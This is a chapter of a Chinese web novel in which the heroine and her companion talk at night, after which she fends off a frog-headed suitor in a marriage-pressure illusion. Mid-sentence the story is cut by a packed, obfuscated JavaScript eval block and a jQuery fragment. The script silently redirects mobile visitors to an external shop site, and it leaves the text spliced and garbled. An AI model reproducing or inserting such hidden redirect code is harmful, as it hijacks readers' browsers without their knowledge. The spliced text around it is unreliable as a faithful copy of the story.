易野他们的房间比蓝溪亭那间要宽敞一两平米。
墙边并排摆着两张两米长的单人床,中间夹着个榉木床头柜,漆面斑驳得像一层脱了胶的旧皮。柜脚边斜斜堆着半盒未拆封的蟑螂药,纸盒边角已经卷了。
空气里浮着老木头浸了潮气的淡霉味,混着窗外漫进来的夜露清芬,竟比蓝溪亭那间残屋多了几分鲜活的人间气。
易野素来寡言,伸手把自己床上摊着的外套拎起来往椅上一掷,下颌微抬,示意蓝溪亭落座。
周子淇站在一旁挠了挠后脑勺,一脸仗义拍着胸脯:“野哥要是不嫌弃,我这床还宽敞,我勉为其难跟你挤挤也行——”
“不用,我不习惯身边有人。”易野语气淡得像杯搁了半宿的凉白开,转身去翻出备用被褥,径直铺在蓝溪亭那侧的床下。动作熟稔得仿佛做过千百遍,连被角都压得齐齐整整。
周子淇讨了个没趣,撇撇嘴爬回自己床上,脑袋刚沾着枕头没十分钟就传来了轻浅的鼾声。
这小子瞧着平时胆小如鼠,遇见点风吹草动就往别人身后躲,心脏倒比钛合金还结实。
这一整天折腾下来,撞见的诡异快抵得上旁人半辈子遇见的,他也没真的崩溃大喊过,这会儿更是沾了枕头就睡——说他天赋异禀都是轻的。
蓝溪亭躺在床上翻了个身,老旧床垫的弹簧发出细微的“吱呀”一声。
地铺上的男人几乎立刻侧过头来,声音压得极低,带着夜色浸出来的微哑:“还是睡不着?”
“嗯。”蓝溪亭的声音闷在枕头里,目光落在他的脸上,暗夜里看不清眉眼,只能辨出个浅淡的轮廓,“你不也醒着?在想什么?”
易野也侧过了身。两人一高一低,隔着半米不到的距离,在浓稠的黑夜里遥遥相望。
月光透过半拉的窗帘漏进来,在他眼尾扫出一点浅淡的亮,像落了片细碎的霜。
“在想……出去的办法。”易野顿了顿,指尖无意识摩挲着被褥的边角,“这个域的规则太碎,白天的催婚、晚上的袭击,还有那对古怪的房东夫妻,全是散落的碎片,得拼起来才能找到破局的缺口。”
蓝溪亭忽然没头没尾地问了一句:“你……也被催过婚吗?”
易野明显滞了一秒,随即低声答道:“没有。”
“为什么?”
“我是孤儿。没有家人,没人管这些。”
蓝溪亭愣住了,张了张嘴,半天只憋出一句“对不起”,声音轻得像蚊子嗡鸣,带着少见的无措。
“有什么好对不起的。”易野低笑了一声,“也不是什么大事,早就习惯了。”
后来他们便没再提这个话题,有一搭没一搭聊着些零碎事情,比如哪条街的早餐铺子豆浆最浓,哪座山的秋天叶子红得最早,哪条河边的芦苇荡里藏着野鸭窝。都是些无关紧要的闲话,却在这一刻显得格外珍贵。
有那么一瞬间,易野几乎要生出错觉,好像他们又回到了很多年前的那些夜晚——两个人肩并肩坐在万丈悬崖之上,脚底下是晃荡的风,看着远处城镇的灯火次第亮起来,漫山遍野的光,熬过长夜,等着天光大亮。
易野看着床上人微微垂着的眼睫,轻轻抬手,临空描摹着她的眉眼,声音轻得像一声叹息:“睡吧。”
蓝溪亭没应声,过了很久,才传来她轻而稳的呼吸声,慢慢融进了满室的月光里。
天光堪堪擦着地平线漫上来的时候,蓝溪亭才终于阖上眼。
浅眠还没撑够半个小时,一股粘稠的恶意如同湿冷的蛛网猝然拂过脸颊,将她从混沌边缘狠狠拽回。
蓝溪亭猛地睁开眼。
朦胧的晨光里,床边不知何时围了一圈人——老的小的男的女的,一张张脸木然地垂着,眼窝黑得像两团深洞,直勾勾地盯着她,像一排被拴在暗处的木偶。
蓝溪亭本能地并指往虚空一划,淡金色的火线顺着她的指尖飞出去,落在那些人身上,顷刻就燃成了冲天的烈焰。
“啊啊啊——”
凄厉的惨叫声劈头盖脸扎进耳朵,震得她太阳穴突突直跳,眼前一阵阵发黑。她咬牙捂住耳朵,视线在眩晕中下意识投向地铺的方向——易野!
周遭的空间像被投进了石子的水面,猛地晃了晃。
惨叫声毫无预兆地掐断,取而代之的是柔缓得近乎甜腻的钢琴曲,缠在那些人身上的火焰也凭空消失,化作一捧捧盛放的红玫瑰,花瓣簌簌往下落,铺了满桌。
原先逼仄简陋的屋子不见了,她坐在一张铺着米白色桌布的餐桌边,水晶吊灯的光晃得人眼晕,几根蜡烛在银质烛台上静静烧着,烛泪沿着烛身淌下来,凝成一小片一小片乳白色的壳。
餐桌对面坐着一个穿着剪裁怪异、紧绷绷燕尾服的……“男人”。
哦,姑且算是男人吧。
他长了个硕大的灰褐色蛙头,鼓溜溜的眼睛直勾勾盯着她,皮肤上全是密密麻麻的疙瘩,在吊灯下泛着一层让人起鸡皮疙瘩的光泽。
见她看过来,还极其绅士地欠了欠身,猩红的长舌头在阔大的嘴裂边缘灵活地舔了一圈,发出两声清晰的呱叫:“蓝小姐,既然我们都要结婚了,我希望你最好能在三年之内给我生两个孩子,一男一女凑个好字,你觉得怎么样?”
蓝溪亭的眼皮跳得快要抽筋。她瞬间就明白过来,这是哪门子的古怪幻境——合着刚揍了那群人,马上就来报应了。她往后靠在椅背上,语气冷得像结了冰:“不怎么样。”
蛙头男鼓胀的双眼闪过一丝不悦,随即又被一种奇异的自信取代:“那这样吧,为了体现我的诚意。你生一个儿子,我给你五百万加一套市中心的精装房,生个女儿,我给你三百万和一辆顶配奔驰,这下总可以了吧?”
它用带着蹼的手指,装模作样地擦了擦面前的银质餐具,指腹划过餐具边缘时发出湿润的摩擦声。
蓝溪亭扯了扯嘴角:“你姓周?”
蛙头男的脸瞬间黑沉下来,腮帮两侧的气囊剧烈鼓动,发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640732|204159||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
出“呼哧呼哧”的声音:“不是吧?!我们交谈了这么久,你居然连我的姓氏都没记住?这太失礼了!我姓徐!徐——蛙!”
“哦,”蓝溪亭面无表情,“难听。”
“……”徐蛙憋了半天,憋出一句:“那又怎么样?这将会是你未来老公的名字。”
蓝溪亭没忍住,偏过头干呕了一声。
这一下算是彻底把徐蛙点炸了。他那双鼓凸的眼睛瞪得几乎要脱出眼眶,喉间发出沉闷的咕噜声:“很好,女人!你这种桀骜不驯的态度,成功地引起了我的注意!我决定了!择日不如撞日,我们现在就举行婚礼!三年抱俩?格局小了!我要你给我生一个足球队!十一个!一个都不能少!”
蓝溪亭嗤笑出声,抓起桌上盛着冰水的玻璃杯,劈头盖脸泼了过去:“醒了没?醒了就赶紧把我弄回去,别在这恶心人。”
“呱——!!”徐蛙猝不及防被泼了一脸,他猛地站起身,宽大的燕尾服下摆带倒了椅子,发出刺耳的摩擦声。
那双赤红的蛙眼死死瞪着蓝溪亭,里面翻滚着暴戾的杀意,粘腻的爪子似乎就要朝她抓来。
但下一秒,那股狂暴又诡异地平复下去。他抹了一把脸上的水渍,竟又挤出个扭曲的笑容,带着令人毛骨悚然的“宠溺”:“调皮……蓝小姐,你这欲擒故纵的小把戏,真是……真是让我欲罢不能啊。”
徐蛙重新把自己塞回椅子里,鼓胀的双眼闪烁着奇异的光,“说吧,我的新娘,你梦想中的婚礼在哪里举行?中式?西式?或者……我们办两场?毕竟我的家族人丁兴旺,第一场必须在我祖传的庄园……”
他的红舌又一次带着探索意味地伸了出来,目标直指蓝溪亭放在桌面的手。
蓝溪亭眼中寒光骤盛,右手如铁钳般精准地攥住了那条滑腻湿冷的舌头,左手同时抄起餐桌上的餐刀——
“噗!”
锋利的刀尖狠狠穿透那条令人作呕的软肉,将它死死钉在了厚重的实木餐桌上!
“呃……呱——!!!”徐蛙的惨叫瞬间变成了凄厉到破音的蛙鸣,庞大的身躯因剧痛而猛烈抽搐,撞得餐桌上的杯盘碗碟叮当作响,烛台上的蜡烛晃了几晃,烛泪溅出一小片滚烫的白。
蓝溪亭面无表情地松开手,拿起洁白的餐巾,慢条斯理地擦拭着手指。然后抬起眼,目光冰冷地落在那因剧痛疯狂扭动的徐蛙身上:“再敢朝我伸一次舌头,我就把它一寸寸割下来,烤得焦香酥脆,然后塞进你那张臭嘴里。听明白了吗?”
徐蛙的挣扎在极致的恐惧中凝滞了半秒,那双鼓凸的蛙眼里充满了难以置信的惊骇。
就在这死寂的瞬间,周围的景象如同摔碎的镜子般片片剥落、扭曲、溶解。
蓝溪亭只感到一阵轻微的眩晕,像被人从高处轻轻推了一下。
再睁眼时,她回到了自己的房间。昨晚被砸塌的床铺和天花板上狰狞的破洞,全都消失得无影无踪,只留下陈旧斑驳的屋顶,仿佛那场破坏从未发生。